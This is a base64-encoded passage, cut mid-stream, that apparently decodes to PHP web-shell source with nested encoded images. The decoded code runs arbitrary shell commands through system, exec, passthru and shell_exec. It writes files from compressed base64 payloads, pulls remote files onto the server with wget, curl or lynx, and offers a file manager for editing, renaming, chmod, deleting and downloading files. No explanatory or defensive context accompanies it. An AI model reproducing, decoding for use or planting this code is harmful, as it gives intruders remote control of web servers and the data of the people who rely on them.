3dnQUFEc0lCRlNoS2dBQUFBQnAwUlZoMFUyOW1kSGRoY21VQVVHRnBiblF1VGtWVUlIWXpMalV1TVRBdzlIS2hBQUFDa1VsRVFWUTRUOFdUMlV2VVVSekZ6Mk5SVDVwYWI5WkRZWk5NTGpOcTZyZzFGcWhsNWN3OHFBKzJrSm1CZ3hLVWhWcFc0eTZGWmJsa2FSUk9wa1FMSVRLRzFFUmhDNUpNdWFWbXp1UVdCRDNlMjduTjBEL1FRei80OFAxKzd6bm5lKy9MRC9qdm4xNFh0VVlYcVUrTzBrZWJZMk5pTGZGeEJrdWlJY21TbkpSaU1lNU10ZXhLM1cwMnBoak5TWW5KWmtOOGdpa21lb2VKR1JNelJyMU92eFpiUXpUQlpDQlVFK29KRDR2d2NKRW5OaWJPWTRoTDhIQ1JKekVoNlUvUE16YzFkL2oyQ1BjMlRhaWJtU0ZOaUdZVDdoVDduYnlVNTc5eTRkQTZXWFVzUU5hY0NKUjFSWUd5b1RoSU5wWnM4TEZlMWx1RC9taTIvQUJaZWRCZjJ2TDhmblNWK0pkaG9oWlBKK3NndjE2SDlOeUdYT3lHWEg0QXVkTExldGZMU2g4clo2VXBqL0pPTVROUkF3ZkdhOUEzV2V0YjBPbGJRUFBTZmZaZFhwYlovMTFBajFxZ011UFZlSVl4RzdyR2JaQXpUWkR6SFpEZmVlT2luZHhqZjVNM3RrTXVNTFRFc3dWcXlqTnpsZUVxU0daNzRLckVaVmNGbjFRUE1jZk43ZzRJUGxQTU4wTjhhL0l5Ujl4dGhKcnlURFZBdU01QnVzNmpCYVBsS0I4NXhXMFhJYVliK2J4cmtMTlhJTDVVUXhKVnhSUmZPTTBMWm5tejhpaXZ5b3lXd1lhUlVoUzhMWUw0V0FyeHVSSmlvb3ExQXVMVEdSOW5PWmQ1ejVRMlJvL3lxc3pJYVZneGJFWG15OE9RYndvaDNwZEF2ck5DdkQ0S01Yd2NjcmlBVlZGSVBSL2lRekdoUjNsZk1NT3NDWTRjaFBWYjhKUEl3VnpJNXptUUEyYUkvDQppek83QWV6T1ZOelpFTU01VkduUjNuSkwwY3VJbkVySGNIMkRIVGIwK0RzemNTcmgxbHdQamI3c01ENWhLajVrUWxPcGZYUlkwK0hzenNEUFowWjJJamNNS3l1VHNYbTVqUm9iK3lCdG5VZnRHMEhTQmEwN1FxVHQ3YnU5Mm90ZTZGdFRvZVdtUzFIZEZqMXp6L3piOVpxbWxaODY2WTZBQUFBQUVsRlRrU3VRbUNDJyAvPiAgWyAkZm9sZGVyIF08L2E+IA0KPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+DQo8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTNcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZF9mb2xkZXJcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgDQpvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZmRlbGV0ZT0iLiRwd2QuJGZvbGRlci4iXCI+ZGVsZXRlPC9hPg0KPC90ZD4NCjwvdHI+Ijt9fWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsgDQokZnVsbCA9ICRwd2QuJGZpbGU7IA0KaWYoISR3aW4gJiYgJHBvc2l4KXskbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBUm5RVTFCQUFDeGp3djhZUVVBQUFBSmNFaFpjd0FBRHNNQUFBN0RBY2R2cUdRQUFBQWFkRVZZZEZOdlpuUjNZWEpsQUZCaGFXNTBMazVGVkNCMk15NDFMakV3TVBSeW9RQUFBWFZKUkVGVU9FK05ranRQd2xBWWh2MERMRVpKU0RRYXdRQ1RjWUQvWVdJa3pxeDBjSFQxRDdDNG5NUkZTZE9XaTR1em05RkZYY1JCSTNLeFFHbExvWUNBSUx5ZWtoaVJ3NlVuZVpLbWViOG43OWVlcGFXLzQzZTVYRkdmejBjc3ZGNHY4WGkyeWZyR0psbGVjUklhMnhuTE1vK09jRGlzNmtZTnVsRWZVZEVNWkQvS3VIMUlRN3k2UmlRUzBlWkpBb2xraWc2VS9wSEp5MGkvdk9QbS9nbmxpa1lsM0V4Sk1KbTZoRnhXR1FwRmhVcXlLSlFxeU5GR0hNZnB0TW51NUE1VWtCclZacWtpTHl0NHpjckk1SXQ0eThuWTJ3OVprclZ4U2RCYW9Wb3paNkxxdFZHRHU4ZG5IQjJmZ0E0SEdZSFphR0UyVFJqMUJvcUtobE55eGdyaWlTUmFuKzJGbU0wV1lyekFDaVFxNkhTN0MybDN1aERqaVNrQyt2S3IxN09GTkUwZ1NuSDArOSsyc0xMTVJ4UkVDWVBCd0JhQ09FWEFDeUtHdzZFdGVFRmlHZ1RPWXp6c25ndWFwU3NFeHUrQjR5QjBxSllVbGY1cmN5NVd4c3JTWWNma2RmYXZPcDNSTGJlYnpNUEswRUgvNy9BUHY1OWo3WCtnSk5JQUFBQUFTVVZPUks1Q1lJSSUzRCcgLz4gICRmaWxlPC9hPiANCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4NCjwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQo8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIj4iLmdldF9wZXJtcygkZnVsbCkuIjwvYT4NCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+IA0KPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT58IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZ1bGxcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZ1bGxcIj5nejwvYT4pDQo8L3RkPjwvdHI+Ijt9IA0KJGJ1ZmYgLj0gIjwvdGFibGU+IjsgcmV0dXJuICRidWZmO30NCmZ1bmN0aW9uIHVrdXJhbigkZmlsZSl7aWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXtpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7ZWxzZXtpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KcmV0dXJuICIkc2l6ZSBrYiI7fSBlbHNlIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpO3JldHVybiAiJHNpemUgbWIiO319fQ0KZWxzZSByZXR1cm4gIj8/PyI7fSBmdW5jdGlvbiBleGUoJGNtZCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkge0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpOw0KcmV0dXJuICRidWZmO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7QGV4ZWMoJGNtZCwkcmVzdWx0cyk7JGJ1ZmYgPSAiIjtmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpeyRidWZmIC49ICRyZXN1bHQ7fSByZXR1cm4gJGJ1ZmY7fSANCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7cmV0dXJuICRidWZmO30gDQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7cmV0dXJuICRidWZmO319IGZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXskdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKSB7QGZwdXRzKCRmaWxleiwkdGV4dHopO0BmY2xvc2UoJGZpbGUpO319IA0KZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHtpZigkZnAgPSBAZm9wZW4oJGxpbmssInIiKSl7d2hpbGUoIWZlb2YoJGZwKSl7JGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpO31AZmNsb3NlKCRmcCk7JGZwMiA9IEBmb3BlbigkZmlsZSwidyIpO0Bmd3JpdGUoJGZwMiwkY29udCk7QGZjbG9zZSgkZnAyKTt9IH0gDQpmdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gdHJpbSgkcGF0aCk7fQ0KZWxzZSB7cmV0dXJuIHRyaW0oJHByKTt9fQ0KZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXskbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsNCnN3aXRjaCgkY21kKXtjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7Y2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7ZGVmYXVsdDogYnJlYWs7fQ0KcmV0dXJuICRuYW1hZmlsZTt9ZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKSB7aWYoJG1vZGU9QGZpbGVwZXJtcygkZmlsZSkpeyRwZXJtcz0nJzskcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCnJldHVybiAkcGVybXM7fWVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/Ijt9ZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7cmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpO30NCiR0dW5pc2lhID0gJ2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvL2dBN1ExSkZRVlJQVWpvZ1oyUXRhbkJsWnlCMk1TNHdJQ2gxYzJsdVp5QkpTa2NnU2xCRlJ5QjJOaklwTENCeGRXRnNhWFI1SUQwZ09UQUsvOXNBUXdBREFnSURBZ0lEQXdNREJBTURCQVVJQlFVRUJBVUtCd2NHQ0F3S0RBd0xDZ3NMRFE0U0VBME9FUTRMQ3hBV0VCRVRGQlVWRlF3UEZ4Z1dGQmdTRkJVVS85c0FRd0VEQkFRRkJBVUpCUVVKRkEwTERSUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVLzhBQUVRZ0E5UUlJQXdFaUFBSVJBUU1SQWYvRUFCOEFBQUVGQVFFQkFRRUJBQUFBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUUFBSUJBd01DQkFNRkJRUUVBQUFCZlFFQ0F3QUVFUVVTSVRGQkJoTlJZUWNpY1JReWdaR2hDQ05Dc2NFVlV0SHdKRE5pY29JSkNoWVhHQmthSlNZbktDa3FORFUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2ZzRTRmhvZUlpWXFTazVTVmxwZVltWnFpbzZTbHBxZW9xYXF5czdTMXRyZTR1YnJDdzhURnhzZkl5Y3JTMDlUVjF0ZlkyZHJoNHVQazVlYm42T25xOGZMejlQWDI5L2o1K3YvRUFCOEJBQU1CQVFFQkFRRUJBUUVBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUkFBSUJBZ1FFQXdRSEJRUUVBQUVDZHdBQkFnTVJCQVVoTVFZU1FWRUhZWEVUSWpLQkNCUkNrYUd4d1Frak0xTHdGV0p5MFFvV0pEVGhKZkVYR0JrYUppY29LU28xTmpjNE9UcERSRVZHUjBoSlNsTlVWVlpYV0ZsYVkyUmxabWRvYVdwemRIVjJkM2g1ZW9LRGhJV0doNGlKaXBLVGxKV1dsNWlabXFLanBLV21wNmlwcXJLenRMVzJ0N2k1dXNMRHhNWEd4OGpKeXRMVDFOWFcxOWpaMnVMajVPWG01K2pwNnZMejlQWDI5L2o1K3YvYUFBd0RBUUFDRVFNUkFEOEErVnBGQnJNMUNBajVoV214cGtrWWRDRFh4U2RqL1FPdlNWYUxpVjlPdVBNVGFUeUtXL3N4Tkdhb3NyV2srUndNMXJ3eUNhTUdtOUhkSE5RYXIwM1FxYm80MitzdHJIaXM0cHRPQ0s3UFVMSU9wd0s1cTh0U2hQRmRkT2R6NGpNc3ZkQ1YwaW1pQTA4UkE5cWF1WXppcDRqbXRUeDZjVTlHSUljakdLUTIrMDFjaVVHcHZLQkZaODFqMFk0WlRXaG5DTWlwRlhGV210OGRLYjVXS2ZNQ29PTElsV3BGSFNuQ09wRlRGVGMzalRZS09La0E0cEF0U0JhaHM3b1JGVVZLQmltcXRTQmFsbmJDSTVhY0Rpays3VEdrQzFKMFg1ZHlVdmdVaHVGRlZYbE5STVNhYWlZeXhMV3hkT29CT2dxSjlUWTlxamdzWnJnL0t2SHFhdlE2Qm5tUjhmU2g4cTNLZ3NaWCtCYUdZK29zYWlONlQxcm9rOFAydzZrbXBCb0ZvUDREUzlwQkduOWxZNmVya3Z2T1grMVo3MG91QWE2ZzZEWi84ODZZMmhXWS9oL1duN1dKTHlmR0xlU09jRW9QZWxEZTliYjZSWXhubkkvR3E3MjFqR2VDZnpwODZaenl3RmFuOGNvL2VaMmMwMTR3YXVPdG4yY2lvbldBL2RrL09xdWMwNk50RzAvbVowOFZRMnN2bFM0UFN0QjR3UWNNRFZDYUlnOU9hMFR2b2VSV3B1bkpUaWFUU0Fya0dzMjV2dGhJcGd1V1FiVFZaMTgxaVRUakcyNWhpTVZLY1VvYml0Zk0zU29tbmtiT00xUEhDbzZpcEFpZ2RLMDBSNTNKVW5yS1JtUEE4eDV6VDQ3QUtlUldqa0QwRkl6Z1UrWm1Td2xOUG1rN2xYeU52dFRUQnU0SFdwMllFMVBiUUJtQnBYc1hHaEdvK1dJdW42WHVZRWl1a3Q3WVJSWUFxS3lnQVVWZUs0VVZ4em01TSs2eS9CUW9RdWtWaUtobmp5S3NrVkhJT0tsTTY2a0xxeGp6eDRKcDFqeEtLbXVJODVwbG9QM29yZStoNEhzK1dzanFiQTVpRldKT2xRMlM0aVdwSk90Y1QzUDBlbHBTUXlrYmdacHdHYWpuNFEwRVMwaTJRUnJ1bE5Hb3Y4aW9LbHRrNXpWYThPNmNWUzNPS2E1YUw4elAxQ2I3UGJISFU4VmJIN2pSaDY3YzFqNnZKNWwxREVPbTZ0clVsMjZaZ2RsclZyUmVaNGxHbzVUcnlYMlkyT0F1U1dtY251YXJ1dVJWaWNmTVQ3MUNSa1Y2U1B5ZXFyeWR5QWNWWmk1R2FnQ2M0cXhHS2JNS1MxTEVDNUlGZERwY1B6Q3NXelRMQ3VxMHFEQ2c0cmtxdXlQdDhtb09jMHpYdDAyb0tmSTIxYWNvd0FLaHVEaFRYQjFQMDkrNUF6cnVUazBWQmNuazBWdXRqNVd0TnViTmh1dFBUbW1OMXB5R3NUNmVMOTRodkxiekV6am1xbGpPWVpmTFk0RmEyQXd4V1hmMnhSdDZqa1ZVWGZSbkxpYWJweVZlbjBORjFEcldIcU5ua0VnVnFXTjBKa3dlb3AxMUQ1aW5paE54WVlpbkRGMGJvNG00aTJ0VWNiWU5hdW9XdTFqeFdWS2hSdlN1Nkx1ajgxeEZGMEpzdXd2MHE5RnlLeW9YeGl0RzNmaXM1STlIQzFFeXlZd2FZMFB0VThmelUvWURXVnoydlpxU3VWUEt4MnBSSHgwcXhzbzJVN2sreHNRS2xTS3RQMlV1TVVybWloWVFERkJiRk5ac1ZFejVvc0tVMUhZZThsUWx5YUFyT2NDcnRycGpTY3NNQ25kTGN6akNwWGRvSXFSUVBPd0Nqcld0YTZZa1EzU2ZNM3BWbUtCTGRjS09mV2huckp5YjJQY29ZS0ZCYzFUVmp2TVZCZ0RGTEd4YzFDcU5LMkIwcTJpQ05jRHJXYlBUcDgwM2ZvU0x3S1JwUUtqa2wyRGsxajZqcktRZ2hUelFvdVQwSGlNWFR3MEx6ZGpSdWRRU0VaTFZoWHZpTEdRbFlWOXFqU3NmbU5aN1N0STFkc0tQYy9QTWZ4RE9iY2FPaHF6NnhKS1Q4MktxbStkajFOVmxpSjYwOWsyajNyZFJpajVxV0pyMWZla3laYmhpZnZWS2tySHZXZnVJTlRSTzNyVHNSVHJ0dXpMdm10NjA0VEdraVhjS2MwZUt6MFBVWFBhNll4Z3JqcHpVVFJZNkduTXZYdFNESTYwMFlTMTNSSHRaVFRXWnMxWVVnaWxLRHJpbmNqMmQ5bVZmbU5KZ21ySlVVb2pGRnlQWk45U29SaXJ0aEtOd0ZOTUdlMVJoVEMrYUhaNkZVNHlvelV1aDFsb01vS3NPZUtvNlRONWtZcXhLL0pGY0RXcCtpMGFrWFJVbDFIOWFoY1VxdGs5YUhwaEpwb3BYQXdEVVZsSG1iOGFudUJUYklmdlJtdGVoNURnblhSMHRxdUVBOXFXUWNtaTJQeUFVUHlhNU9wOTJ2NGFHanBVTndhbXFDWWZOVkk1NnZ3a2tBd2hxak56S3hxK25FUnFoSi9FYWFPYkVhUWlqQWtVemFxbnNhNkxVRTNXRER2aXNTQ0luVWczdlcvZGdHMGI2VnJONm84TEw2ZDZWZHZyYzg3dVVJZHZyVVJYNWF1M3EvdkgrdFY5dUZydlQwUHpPclR0Tm9yRmNHcG9WcGg2MWJzb2pJNEFGVkoyUmhScDgwK1ZHanBsdVhZY1YxMWxEdFFjWXJNMDIxV05WSndEVzNDUXc0NlY1dFNWMmZyT1VZUlVZSnZjZmlvYmhjcWFzZ1V5Uk1pc1Q2YWNPYU5qQXVWb3F6ZXc3U2FLM1QwUGtLOUpxYlJmYnJRcDVwemQ2WURXSjlLOUdUSWFXV01TSVJVYUhGVEszRkk2STJrck14am16dU0vd2sxcUk0bGp5S2p2cllTb2VPYXAyTTVpZnkzL0NyM1Z6elkzdzFYMmIrRmlYOXFHQk9LNTI3dDlwTmRsTEdIVTFoNmphWnpnVnBUbDBQSXpUQktTNTRvNThIYWF1VzhtTVZYbWoyTWFJbTJtdXA2bytPcHQwNTJadHdQa1ZaVVpGWnRySmtpdFNFNUZjMHRENjNDejlvaHBGR0tsWmMxR1JnMUZ6dGNiRFNLWTFTRVpwTnVhZHpLVWV4WFpTVFNyRnZZQURtcDltS3VXVnVNN2lLSEt3cVdIZFNYS090TEJZZ0dZWk5XandLZWFZMVl0M1BvNFVvMG84c1VNYzRwZ1hlY0NsZmo2MUxGSHRIUFdtUW91Y3JEa1VJdkZObGtDTGs4VVNTQkFhd2RYMVlScVZVODA0eGNtWll2RlF3bE55a3htcmF4c3lvTmN2ZDN6U01lYVplWGhsYzVQTlZFUnBHeWE5S0ZOUlIrUTVqbWRURjFHa3g2N3BUVnFLRUFVa1VlMGRLOU8rRy93RThXZkVrSlBaMllzZE1KNTFDOHlrWkgreU9yL2dNZTlYckoyaWp5NVZLR0RwdXRpWnFLN3M4NHh0UEZJSUpiaHdrVWJTeUhvcUFrbjhLKzFmQi83SlBoTHc0c1Urc1NUYS9kcnl3bFBsd1o5a1hrL2lUWHBsdG9PbGFCYkMzMHZUN1hUNFFNQkxh